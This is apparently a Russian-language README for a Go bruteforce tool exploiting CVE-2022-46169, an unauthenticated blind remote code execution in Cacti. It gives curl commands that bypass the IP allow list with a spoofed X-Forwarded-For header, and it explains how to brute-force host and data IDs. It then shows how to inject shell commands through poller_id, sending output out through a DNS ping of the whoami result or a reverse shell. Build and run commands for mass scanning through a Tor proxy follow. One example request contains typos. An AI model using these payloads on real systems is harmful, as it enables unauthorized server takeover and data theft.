
CVE-2022-46169 - Cacti: слепое удалённое выполнение кода (без аутентификации)
Cacti: слепое удалённое выполнение кода (без аутентификации)
Этот материал предоставлен только в образовательных целях. Я не несу ответственности за ваши действия. Используйте на свой страх и риск.
Этот скрипт перебирает переменные, необходимые для эксплуатации этой уязвимости. Для эксплуатации требуются следующие 3 переменные:
host_idlocal_data_idsФайл remote_agent.php защищён белым списком IP-адресов. Вы можете обойти это, подменив свой IP-адрес в заголовке X-Forwarded-IP. В большинстве случаев в белый список внесены 127.0.0.1 или собственный IP-адрес сервера.
Затем нужно перебрать параметры запроса host_id и local_data_ids. Это делается путём перечисления пар целых чисел со значениями по умолчанию от 1 до 10.
x,yПример запроса
pair_x="1"
pair_y="2"
curl -k -H "X-Forwarded-For: 127.0.0.1" \
"https://target.com/cacti/remote_agent.php?action=polldata&poller_id=1&host_id=$pari_x&=local_data_ids[]=$pair_y"
[]
После получения этих 3 переменных вы можете внедрить команду оболочки в ключ poller_id и выйти из него, поставив ; перед вашей командой.
Это слепое RCE (blind RCE), поэтому вам нужно отправить вывод своей команды куда-нибудь, например на interact.sh, или открыть обратную оболочку. Не забудьте URL-кодировать значение poller_id!
Следующий пример выполняет команду ping $(whoami).test.com
curl -k -H "X-Forwarded-For: 127.0.0.01" \
"https://target.com/cacti/remote_agent.php?action=polldata&host_id=1&local_data_ids[]=3&poller_id=;ping%20%24%28whoami%29.test.com"
Скрипт выводит данные в формате CSV. Заголовки: "target", "ip", "host_id", "data_id", "url".
Если значение url отсутствует, это означает, что скрипту удалось обойти ограничение по IP, но не удалось подобрать идентификаторы. Вы можете взять этот результат и задать большее максимальное значение, чтобы попробовать снова.
Для быстрой обработки выходного файла можно использовать следующие команды:
tail -n +2 results.csv | cut -d ',' -f1 | sort -u
tail -n +2 results.csv | cut -d ',' -f5 | sort -u
go build -v -o bruteforce bruteforce.go
./bruteforce -l targets.txt -t 50 -min 1 -max 10
-proxy socks5://127.0.0.1:9050results.csv